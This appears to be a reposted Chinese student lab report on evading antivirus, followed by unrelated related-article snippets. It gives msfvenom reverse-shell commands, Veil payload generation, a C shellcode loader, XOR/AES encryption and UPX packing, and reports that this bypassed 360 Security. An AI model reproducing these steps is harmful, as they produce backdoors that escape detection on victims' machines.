免杀原理与实践

杀软原理

目前杀毒软件的原理主要有3种:

1.引擎与病毒库的交互作用,通过特征码提取与病毒库中的特征码进行比对识别病毒。

2.启发式Heuristic,通过程序的一些行为和特征来判断。

3.在虚拟机技术上的启发式,通过建立一个虚拟环境运行程序对其进行全方位的检测。

了解更多可见“杀毒软件工作原理 及 现在主要杀毒技术”。

免杀原理

免杀就是躲杀软的识别,那就从杀软的原理下手。

1.改变特征码

如果你手里只有EXE,加壳:压缩壳 加密壳

有shellcode(像Meterpreter),用encode进行编码,基于payload重新编译生成可执行文件

有源代码,用其他语言进行重写再编译(veil-evasion)

2.改变行为

通讯方式

  尽量使用反弹式连接,即服务端(被控制端)会主动连接客户端(控制端)。

  使用隧道技术,隧道协议将其它协议的数据帧或包重新封装然后通过隧道发送,把所有要传送的数据全部封装到合法的报文里进行传送以绕过防火墙。

  加密通讯数据

操作模式

  基于内存操作,像基于特征码的查杀大部分是扫描硬盘上的文件,所以可以考虑在用到后门时远程传输放在内存中运行,而不是存在硬盘上。但也有部分杀毒软件会扫描内存,一般可以采用加入nop指令来躲过查杀。

  减少对系统的修改

  加入混淆作用的正常功能代码

免杀实践

本人使用的杀软是360安全卫士11版本

将metasploit直接生成的后门上传到virusTotal上通过率是51/66。

msf编码器编码

既然杀软可以通过特征码识别我们的后门,那我们就想办法先把后门经过编码,使用时再解码,这样就把后门的特征码隐藏起来了,下面我们利用metasploit自带的编码器试一试效果。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe

将metasploit编码后的后门上传到virusTotal上通过率是50/66。基本没有变化,因为shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,AV厂商只要盯住这部分就可以了,尤其是metasploit这么出名的渗透软件。

veil-evasion免杀

安装

1.apt-get直接装,不过得换源

2.在github上可以搜到各种版本,git clone下来找到其中的setup.sh并运行安装就可以

其实veil的安装网上很多教程,这里主要是本人说明一下遇到的错误,安装结束后输入veil提示错误

module 'Tools.Ordnance' has no attribute 'Tool'#错误

在老师的指导下只要把/usr/share/veil/Tools/Evasion/evasion_common/shellcode_help.py和/usr/share/veil/Tools/Evasion/Tool.py中的import Tool as Ordnance_Import删掉就可以了

利用veil中的powershell实现后门

sudo进入veil,然后按照提示use 1,list列出所有可用的payload,选中21 powershell,use 21,

set LHOST xx.xx.xx.xx,

generate

之后会提示生成的文件名,输入后显示生成的文件路径,/usr/share/veil-output/source下就可以看到我们生成的.bat批处理文件,我们把它拷贝到windows下运行就可以连上。

同样也可以利用py源码生成,选取python写的payload,kali里面因为没有pyinstaller和py2exe,所以先把/usr/share/veil-output/source下的.py文件拷到windows下编译成exe即可,

pyinstaller -F -w py_https.py

如果安装了pip,可以直接pip install pyinstaller。

最后powershell在virustotal上的通过率是23/56,python生成的exe通过率是15/66。而且360都没有扫到这两个后门。

利用shellcode编程实现免杀

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.201.136 LPORT=1213 -f c 

 生成shellcode后我们把它拿到visial studio中加以调用就可以运行。

LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((
void(*)())Memory)();

buf就是上面生成的那堆十六进制的shellcode,上面的语句首先生成一个没有类型的指针,然后我们用memcpy将shellcode拷贝到改指针对应的内存下,最后以函数调用这个内存地址就成功让我们的shellcode运行起来了。运行后在虚拟机端可以连接到win10主机,不过这样还没法躲过查杀,会直接被360查杀。在virusTotal上的通过率也只有24/66。

猜测肯定是AV厂商也都知道把metasploit生成的这些shellcode当做特征码,那就加密一波,先用0xff对原shellcode进行异或。通过率提高到了16/66。

之后换了aes加密发现效果并不是很好,只有14/66,然后试着把上面几行调用语句去掉也就是不调用我们的shellcode也会被13个杀软检测出来。然后就很纳闷到底是哪里出了问题让杀软杀出来了,不知道是有内存查杀还是什么其他方法识别的。

先不管那么多试着结合其他方法再测试一次,用upx对上面的aes加密的shellcode程序实施加壳,

upx source.exe -o dest.exe#source源文件名,dest生成文件名

没想到效果还可以,只有6个可以扫出来了,如下图。

然后用360扫描是扫不出来的,之后打开进行运行测试,连接两三次360依然没有反应。看来是成功绕过360的防护了。

下面是虚拟机上连接win10的截图:

可以看到我们在msf里面连接上靶机后执行ps查看运行程序,并且可以看到360安全卫士此时是打开的。

实验体会

这次实验是能让上次实验变得有意义的实验,只有免杀,后门才有使用性,也让我很激动,不过事实总是不尽人意,不得不说这次实验备受打击,从下午一直做到晚上,一直尝试新办法,一直被360查杀,直到最后要放弃了试了一下看上去最没用的upx加壳竟然成功绕过了360。这也给我一些经验,做免杀要从不同方面入手才行,因为我们可以给shellcode加密,可以加壳等等这些都是可以嵌套的,而杀软看上去并不擅长的一层一层剥开我们的壳,所以用不同的壳来包装shellcode也不失为一种好办法。

此次实验中没有用到veil-evasion实为无奈,先用apt-get安装了一遍,报错没有module tools,于是我就pip install tools一下,可是又报错如下,又去github clone了一份,又报错一样的错,都卡在了

module 'Tools.Ordnance' has no attribute 'Tool'#错误

 

而每次安装都要等好久,所以没有尝试再安装一次,直接用shellcode+visal studio做了。一开始我把shellcode做异或后发现有明显的效果,所以就惯性思维的认为只要换个好一点的加密就可以免杀,于是又用了aes,可惜效果不尽人意。我试着分析其中原因可以没能找到,不过我认为首先加密之后的数据是不可能被杀软所知道,也就是硬盘上加密后的shellcode不可能成为被查杀的特征值,然后加密算法我也写过都没有被误判成木马,所以应该也不是通过加密算法来识别。我怀疑过是函数调用,毕竟一般情况下很少把其他类型的数据拿来做函数调用的,不过我注释掉调用那部分再编译上传检测通过率基本不变,还是14。这样我就不知道到底我的后门是哪里出了问题被杀出来,当时也在这纠缠了好久,后来又想试试是不是在内存中被查杀的,试着把机器码转汇编在里面加nop,不过没学过汇编是在进行不下去,改了几个之后通过率还是提高了一个的,不过依然被360杀了,而且根据后面加壳可以正常运行说明360也不是内存查杀的,到底360是如何查杀我自己写的shellcode加壳程序的希望有知道原因的大佬能够给我一些提示,必有重谢!

 

转载于:https://www.cnblogs.com/guoyicai/p/8727202.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/570969.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

分布式事务的理解和解决方法

什么是分布式事务? 什么是分布式系统?部署在不同结点上的系统通过网络交互来完成协同工作的系统。 比如:充值加积分的业务,用户在充值系统向自己的账户充钱,在积分系统中自己积分相应的增加。充值系统和积分系统是两个不同的系统…

delphi 搭建安卓开发环境

delphi 搭建安卓开发环境 DELPHI安装成功以后,怀着激动的心情,使用IDE向导生成安卓DEMO程序,BUILD,想马上看到编译成功的提示,结果报错,不由得傻眼了。DELPHI怎么这么差? 原来DELPHI安装成功以后…

ServiceComb抛出llegalStateException: The schema(id=[xxx]) ...异常解决办法

其实这个异常就是无法说你启动的这个servicecomb实例和注册中心的实例不匹配,并且信息已经被占用。 所以解决办法就是:启动注册中心前端界面进程,进入界面,然后kill掉你要启动的servicecomb实例在微服务注册中心的实例。然后重新…

关于Centos7启动,ens33无IP问题解决

今天启动虚拟机xshell6一直连不上,之前一直好好的,怎么突然连不上了,很奇怪,上去看看连接方式也没问题。 然后ip addr 一看ens33下无ip,然后就查资料解决,看到很多解决办法试了都没解决。 最后的解决办法…

9.获取当前时区时间和utc时间的工具方法

这是实际项目中使用到的工具方法,获取utc时间的使用方法和第一个类似,只是函数名不一样而已。 1.获取当前时区的时间 /** // 对Date的扩展,将 Date 转化为指定格式的String // 月(M)、日(d)、小时(h)、分(m)、秒(s)、季度(q) 可以用 1-2 个占…

错误:docker-ce-cli conflicts with 2:docker-1.13.1-103.git7f2769b.el7.centos.x86_64 错误:docker-ce confli

安装K8S的时候提示这个问题,原因就是虚拟机中已经装了docker-ce和docker-ce-client 卸载了docker然后重装k8s就好了 yum -y remove docker-ce yum -y remove docker-ce-client

POJ2398【判断点在直线哪一侧+二分查找区间】

题意&#xff1a;同POJ2318 #include<algorithm> #include<cstdio> #include<cstdlib> #include<cstring> using namespace std; struct point {int x, y; }; struct Node {point Low, High; }line[5010];int Num[5010]; int par[5010]; bool cmp(Node…

Xshell6突然连不上K8S所在的虚拟机

哎&#xff0c;最近一直出现部署运维问题&#xff0c;就很头疼&#xff0c;很影响进度。 今天早上xshell6突然就连不上虚拟机了&#xff0c;在虚拟机内部Ping百度也是没问题的。 但是xshell就是不给连&#xff0c;看xm的dhcp也在。 如果是VMnetDhcp服务关闭&#xff0c;重启…

synchronized(九)

在Java中是有常量池缓存的功能的&#xff0c;就是说如果我先声明了一个String str1 “a”; 再声明一个一样的字符串的时候&#xff0c;取值是从原地址去取的&#xff0c;也就是说是同一个对象。这也就导致了在锁字符串对象的时候&#xff0c;可以会取得意料之外的结果&#xf…

使用jQuery的ajax同步请求吃过的亏

jQuery是一个非经常常使用的js库。甚至我们开发不论什么一个项目都首先把jquery导入进行。jQuery太过强大&#xff0c;使用起来非常方便。可是在使用的过程中也遇到过非常多坑。我在这里分享一下。避免大家也遇到相同的问题束手无策&#xff0c;也方便以后回归学习。普通的写法…

Kubernetes 创建pod一直处于ContainerCreating 状态解决过程

。 遇到问题了又&#xff0c;创建的pods一直出于ContainerCreating状态。 说一下自己这次的解决流程。 首先去网上搜一搜这种类似问题的解决办法&#xff0c;然后结合自己的情况进行解决。 首先遇到的我遇到这个问题和网上一哥们的问题很相似&#xff0c;所以借鉴一下https:…

洛谷P2851 [USACO06DEC]最少的硬币The Fewest Coins(完全背包+多重背包)

题目描述 Farmer John has gone to town to buy some farm supplies. Being a very efficient man, he always pays for his goods in such a way that the smallest number of coins changes hands, i.e., the number of coins he uses to pay plus the number of coins he re…

SpringCloud项目接入华为云Paas平台CES一些注意事项

1.注册华为云账号获取个人中心-》管理我的凭证-》访问密钥-》下载ak&#xff0c;sk密钥。 2.本地项目maven需要配置华为云私服 <profile> <id>nexusProfile</id> <repositories> <repository> <id>cse1</id><url>http://mave…

@Transactional事务不生效问题解决(springboot)

springboot事务不生效的几种解决方案 最近在业务中遇到了很奇怪的场景,在加上 Transactional注解后,插入2条数据,如果第二条出异常了,第一条不会回滚,排查了很久,上网也找资料看了很久,问题得以解决,总结了事务不生效的几点可能的原因: mysql的MyISAM引擎不支持回滚,如果需要自…

springcloud不使用数据库微服务启动异常解决

项目在文件处理微服务不使用数据库时&#xff0c;项目启动异常。 解决办法如下&#xff1a;

NSAttributedStringKey

NSFontAttributeName; //字体&#xff0c;value是UIFont对象 NSParagraphStyleAttributeName;//绘图的风格&#xff08;居中&#xff0c;换行模式&#xff0c;间距等诸多风格&#xff09;&#xff0c;value是NSParagraphStyle对象 NSForegroundColorAttributeName;//文字颜色&a…

fastDFS页面浏览器缓存解决

在使用fastDFS做文件系统时&#xff0c;图片浏览器缓存影响删除结果显示。 解决办法如下: 在fastDFS的容器中的nginx配置禁止浏览器缓存:

埋点测试-移动端/PC端

从下面几个方面来讲一下&#xff1a; 1、为什么要进行埋点测试 埋点&#xff08;是数据采集领域&#xff0c;尤其是用户行为数据采集领域的术语指的是针对特定用户行为或事件进行捕获、处理和发送的相关技术及其实施过程。&#xff09;是为了实现app的数据收集和分析&#xff0…

NO.10章 图(遍历、最短路、生成树、拓扑、关键路径)

1. 定义存储 2. 遍历 1&#xff09;DFS 2&#xff09;BFS 3. 最短路径 1&#xff09;Dijkstra 2&#xff09;Bellman-Ford 3&#xff09;SPFA 4&#xff09;Floyd 4. 最小生成树 1&#xff09;性质 2&#xff09;prim 3&#xff09;kruscal 5. 拓扑 1&#xff09…